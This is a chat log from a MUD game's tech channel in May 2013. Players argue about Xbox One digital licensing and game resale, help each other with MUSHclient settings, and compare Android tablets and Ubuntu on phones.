T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: still the game was paid for so why should they control anything after that?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Awww, Deadpeasant thinks first-sale doctrine is still a thing, how coot!
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: im ignoring what "should" be, I'm focused on what "is" and what has been confirmed by MS spokespeople
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Akuri Tech: you won't actually own the game you will just be paying for the rights to play it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: companies (in the US at least) no longer sell products, they sell services
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Arnica Tech: Enter the new channel: Debatech
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: its better than buying a pay to play game then getting ripped off to do anything in it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: MS said:  all games install to HD.  Game is linked to your account.  Xbox has to check in with MSFT every so often or games disable.  And player can trade-in/re-sell games.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how the **** can the trade-in/re-sell mkt work, unless it's a pship with GME?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is it so difficult to type the artner in partnership?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: 1
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: they should make cars like that. every time you wanna drive you have to ask microsoft
T3/r7/2013-05-23.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: LOL
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: or ford
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You realise anti-theft measures exist where that is a thing?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: msft also said it's going to be super simple, easy for customer, etc.  This makes me think it's some kinf of marketplace on XBL.  But how can that possibly work??  literally it blows my mind.  i must be missing something.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: this pretty much completely eliminates being able to buy a "pre-owned" game at gamestop
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://www.bbc.co.uk/news/technology-22623010
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is all online... and requires a lending fee
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: all games are just a license, so a pre-owned concept doesn't exist
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: While you are speculating on tech, you could be googling and get your answers...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, that was all walked back
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: do you have to log in to play single player?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Last updates... 2 days ago, after the launch - when was it walked back?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: or you could google level 2 and see what was originally said is not what has been confirmed
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yesterday
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: can google almost anything so why bother talking at all?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Anyone can appear smart when they google something.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Book of Etzli peers around himself intently.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Nuanse Tech: you probably need triple-platinum-gold-super account to sell games, which will cost atleast 500 dollars/year....knowing MS
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Last update 9 hours ago http://www.businessweek.com/articles/2013-05-23/how-gamestop-is-trying-to-survive-the-xbox-one
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: When was the walkback, again?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it was yesterday, for the second time
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So less than 9 hours ago?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because in the US, 9 hours ago is earlier than yesterday
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Digitalis Tech: in the us 9 hours ago was noon today
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not for me. :D
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have Penny Arcade also 23/5 saying identical things
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Nuanse Tech: around noonish :P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Tech: Book of Etzli pats Digitalis on his head.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the article was written 9 hours ago.  hundreds of articles have been written.  the walkback was yesterday, for the third time.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Where is your evidence, I'm sure the tech journals would love to see your apparently superior sources!
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The silence is deafening...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Arnica Tech: What?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: google it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what do I win for bothering to prove you are a dolt?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: forget it, I'll do it for free:  http://www.eurogamer.net/articles/2013-05-22-phil-harrison-tries-again-to-clarify-game-ownership-second-hand-sales-and-always-online-in-xbox-one
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Your link contains identical info to the ones I discussed - to lend the game to another person, which is to say not using your account, because you are using your account, they must pay the full price of the game.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: ok so you need a team of lawyers to trade in a pos game. thats cool
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Uh, no...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: After getting burned on SOTS II and Legends of Pegasus I pirate all prospective purchases
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If it is good, then I buy it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Wonder how Gamefly will make out too.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the question is how can they possibily implement a used game trade-in/re-sell market, which is what they confirmed?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They were not doing great even before the concept of dead used games came up
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: they dont really want to though. thats the plan
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You trade via M$, and only via M$, is what has been said in all the links and releases so far linked
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: tech they dont really want to though. thats the plan
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well they said they ARE, so they are.  they already have it figured out, I'm trying to get there myself
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Can you read? You trade in via the M$ online system
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: they want people to think that so they dont look as douchy as they are
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If Gamestop is involved, they simply take the code, give you the points, and then send the code to M$ the same way you would have
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It isn't rocket surgery
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: next theyll charge buy the minute
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: then when vr get really good theyll take your whole body and make you a slave irl
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: vak, but how does that work?  I buy disc from gamestop for 60 bucks.  it installs on my hard drive.  Xbox is agnostic to whether i have a disc or downloaded it, it just sees a license.  so now I want to resell it.  Do I surrender it online for credit?  MSFT credits me $30 even though I bought the disc from GME?  How does MSFT recoup the $30?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Where did Gamestop buy the disc from?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Magic Disc Land?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: publsiher A
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Who paid royalties to who, exactly?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: this is about the time Korrdel comes in and say "Get this bickering CRAP off the TECH CHANNEL!"
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: GME gest $10, XBOX gets $10, publisher gets 40
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so you see, it's not simple
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: A lot of margin assumptions there... your trade in assumption is that there is no comms between the M$ store and the publishers in the event of a trade in
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is exceedingly complex when you get into the nitty-gritty. But the concept from this side is exceedingly simple
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but there are multiple publishers.  If I Trade in game from publisher A, who pays publisher B for the license i purchase w/ my store credit?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: How does it work when you buy a game from Target and trade it in to Gamestop?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: GME gets everything publisher/msft get zero
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Right - now M$ is the middle-man and they take a cut
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: gme buys theg ame or gives me credit and re-sells it
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Exactly - same deal with M$ now
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but msft can't sell "used" ilicenses.  no such thing.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: it works with discs.  not with licenses.  there is no difference between a new an dused license.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They can adjust their inputs and outputs in regards to licence sales and profits given to publishers now
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Because 100%... ALL transactions now flow through M$
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: is there a pre-set variable in Aardmush for what's on the clipboard?  one that I can use in an alias without making a script?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is not, Vonliege - only scripting functions
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Arnica Tech: What exactly am I missing here? Why do you have to buy this dreck in the first place?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Vonliege Tech: TY
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i surrender publisher A game to msft, who pays me $30 credit for it.  msft is down $30.  I buy game from publisher B for $60 using my credit + cash.  I don't see how this can work.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: they aren't actually down $30 because they don't pay you any real money...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Say a publisher sells 10,000 licenses new. That means M$ has had their hands on 10,000 transactions. 1,000 get traded in. That means in the next cycle, they withhold the pass-on costs of those 1,000 trade-ins from the publishers.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It is currently in operation right now in retail, it is known as markdown claims, and is used primarily for broken deliveries or warranty claims handled pre-manufacturer claim
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so you stick msft with the risk of a publisher BK?  
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: these financing details may be a bit esoteric for some people, but the short answer is that they never pay out, only collect.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If the publisher goes bankrupt M$ just scored the ability to sell their games for 100% internal profit until the tradein values are met
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Mattk Tech: does anyone know which file contains my maps from my old PC mush client i want to transfer them to my laptop is there anyway to just add it to my current map files?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: usually aardwolf.db
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And merging is quite difficult
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Mattk Tech: aww :(
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: let's assume publsihers never markdown games, and surrendering is worth 30 and new is at 60.  MSFT issues me 30 credit for surrending publisher A's game.  I buy publisher's B game for $60.  MSFT would have to take 50% of the economics of the sale to recoup the $30 credit.  This would radically change existing splits, btw.  Publisher B makes less money b/c publisher A games are beign turned in?  I don't see how that can work.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: what if all games were turned in at the same time?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the problem i'm seeing is that once you turn physical into digital, used game market is a 1-way street.  can't sell "pre-owned" licenses for discounts...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: who wins?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: No, they recoup the $30 (or what is left of the $30 after accounting for profit vs costs) from Publisher A, from publisher A's next sale
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but msft must have a workable plan or they wouldn't be confirming it.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: that might work, though publisher insolvency is a risk.  need to noodle on that.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Assuming 100% cost:profit, if you trade-in publisher A's $60 game for $30 and buy publisher B's $30 game, B still get's its usual take. When publisher A next sells a game, the $30 is deducted until negated.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If a publisher goes insolvent, M$ still sells the games. Only now 100% of the sale is M$'s
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: what if ms goes bankrupt?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: the games would be property of publisher A's BK estate, not msft
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if random house goes BK, amazond oesn't get to sell books for 100% profit
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Arnica Tech: Say that again Deadpeasant?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: theyd prolly get a huge bailout
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That is because you are now talking about physical media
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Digital is a whole new ballgame
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: as long as the intermediary has the right to transfer the license and the ability to do so, there is no real difference between license and physical, in terms of reselling.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes Sonshi, but Amazon would be in trouble if it decided to print new copies of Random House books to make up for a bankruptcy debt :-P
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Nuanse Tech: except that you can recieve more money with less spent which you can then move into system like trade-in
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: what I would be interested in seeing is for one of the major companies to heavily restrict reselling, so that we can see if that results in a price drop in practice...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: yeah right
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Without decent competition (like the new Steam console) those profits will stay inhouse
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: you'd be in trouble whether or not you did that with physical or licenses, as long as you're handling someone else's ip...
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: give all the power to the dictator so we can get more welfare
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not true Sonshi, simply because selling a digital copy to make up a bankruptcy debt will most definitely be in the licencing contract with M$
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: well, either way you can put it in the contract... that's a contractual issue, not a physical/license thing per se
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Failboat Tech: Loving the tech channel tonight. Thanks everyone:)
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Botman Tech: In Russia, the tech channel loves you.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Sonshi Tech: and not in a kind way! *run*
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Botman Tech: And how unkind.
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: what if you wanted to trade your game for illicit drugs?
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: lotta pot smokers play xbox
T3/r7/2013-05-23.txt.gz:{chan ch=tech}Deadpeasant Tech: ah welcome to the cold depressing world of microsoft
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Sgurbuz Tech: hey guys just wondering in mush client how do i make my client save the previous command i entered into the command bar eg. i typed South and I wanna keep south in the command bar instead of it dissappearing
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can either use the up arrow, or Game->Configure->Commands->Keep Commands On Prompt Line
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, no, Auto-repeat command, not keep
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: hey you can mud from an iPad right?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: i figure it's not much differen than an oversized iPhone in that regard
T3/r7/2013-05-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: yeah i think so
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ralyn Tech: anybody have mushclient error where the communication log stops getting output?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ralyn Tech: it shows me a Run-tim error in orange with a code traceback and then stops working
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Seniseis Tech: is there a way to increase the text size for mush client ?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ayasinda Tech: I think you can use Alt+Enter then Output tab
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Seniseis Tech: wee nice.. thx alot.. getting old
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ayasinda Tech: lucky you
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Anarchist Kingdagon Tech: Greetings.. where can I find a plugin that sends a message to gtell everytime I request and complete a quest?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Trachx Tech: you mean probably sharptracker
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Trachx Tech: just google it
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Narhtan Tech: how do I use variables in aliases?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Narhtan Tech: like peoples names and stuff
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Hanslanda Tech: depends on where the alias is defined
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Narhtan Tech: in the Mushclient 
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Narhtan Tech: what do i put in the mushclient to store peoples names to use in the return box?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Narhtan Tech: how do I use peoples names in aliases?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: I'm looking at getting a 10 inch android device. Is there anything better than the google nexus that I should look at?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Depends exactly on what you're expecting from your device, really. Are you set on android?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, already got 2 of them before...
T3/r7/2013-05-24.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: my ipad is the only apple thing i own.. love it though.. a buddy has a huge galaxy tab and he likes it, cant really say
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: I can't stand apple stuff, and same for windows.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: I'm gonna use it mostly for watching videos and reading books and documents.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: ipad is really a the leader in that medium
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Then the Nexus 10 is probably your best option UNLESS you're looking for something like the Transformer, that has the keyboard dock
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: My 7 inch nexis is a bit too small.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Mc Cruentis Tech: i can't wait to buy a iwatch for christmas 
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Pixel density on the N10 beats out the ipad =p
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: I would actually like a 10 inch e-reader, but those are really expensive (and no video).
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Oh, another thing to consider would be one with a digitizer/pen. 
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Only problem I have with my nexus 7 is that is the build quality, it's a piece of plastic junk, imho. The ipad is much more robust.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: 10" ran, not 7.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: even jailbroken my ipad is somwhat limited..but for books and netflix i love it
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Right. Just saying.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: I want the full flexibility, I'm a linux user :D
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: So get an android tab and run linux on it.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Android is linux.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: No, it is not.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: android is android.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Linux is a kernel. Android has a linux kernel.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Which does not make android linux.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: There is no OS called linux, if you want to be specific.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: DISTRO FIGHT
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Fair. I was more referring to the push to run Ubuntu on android devices specifically - though I think other distributions have been implemented as well
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Yeah, I doubt they will be a success except for niche applications, tbh.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Unless, possibly, they implement support for android applications.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Nod.. which is kind of sad. I'd really love to get a cell phone that could double as a light weight PC connected to monitor/kb/mouse
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: Ah, it runs under android. It doesn't loose support of android apps
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: Ubuntu runs _under_ android? Sure about that?
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Daloran Tech: In that particular instance, yes
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Tech: LOL YOLO Gruagach grabs some popcorn and sits back to watch the show.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: There seems to be a ubuntu for android app, but that's not what canonical is pushing.
T3/r7/2013-05-24.txt.gz:{chan ch=tech}Ranrr Tech: http://www.techrepublic.com/blog/opensource/ubuntu-on-smartphones-what-you-need-to-know/4095
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: I was referring to ubuntu for android, yes.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: kk
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Theres no available phones to my knowledge running ubuntu exclusively.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: would be preferred to have a single OS vs the android for ubuntu setup though, if implemented well
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: I think right now you have to install it yourself, you can't buy a phone preinstalled.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: most of the good android OS dont come preinstalled
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: I've never seen a phone for sale without an OS...
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: nope, but plenty of them have shit versions of software
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Language, Gru
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: yes ma'am, sorry
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: No ma'ams here.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: oh just assumed cuz of the sand
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Yeahhhhh no personal attacks either.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Tech: LOL YOLO Gruagach sobs in misery.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: The nice thing about the nexus devices is that they have an up to date OS.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Nod.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: I'll probably try ubuntu on some phone I retire, just to see what it looks like.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: But I still doubt it will ever take a decent market share.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: My only issue with that is to be practical needs to be a device with a dock for kb/monitor/mouse to be worth doing
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: All I really need is a terminal with SSH, I can probably get that on android too....
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: To get a portable work/play PC, that is.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: heck you can get that on bb
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: bb?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: blackberry
T3/r7/2013-05-25.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Blackberry, yep
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Chromebooks, too
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: We don't have bb here (sweden).
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: lol?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}LOL YOLO Gruagach Tech: never heard that one before, i travel a lot.. bb is one the most common devices i see abroad
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: Well, maybe a few imported ones, but they are rare.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: Nokia and Sony Ericsson were totally dominant here, then apple and android came.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ranrr Tech: BB was never sold here, afaik.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Beauze Tech: hey anyone happen to know a good free android mud app?
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Blowtorch
T3/r7/2013-05-25.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: Blowtorch, definitely
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Beauze Tech: thank you!
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: or if you search aardwolf on andoird market, theres a customized version of it
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Beauze Tech: cool thanks so much
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Beauze Tech: my buddy has an android and used to play aardwolf
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: I'm wondering why i can connect to aard without having to loggon to my wifi, doesnt seems to go with all muds.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: youd have to be connected to some internet to connect to aard =o
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: nope :)
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Ayasinda Tech: yep
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: Yeah, that's kind of how it works. Without a path to the server running it, you'd be unable to connect.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Prekursive Fraktal Tech: i didnt have to login to my wifi acount, like i just stated 
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: I mean I suppose technically it could be run locally, or on a lan, but neither of those are likely to be true of aardwolf.
T3/r7/2013-05-25.txt.gz:{chan ch=tech}Daloran Tech: And like I stated, you have to be connected to the internet somehow.
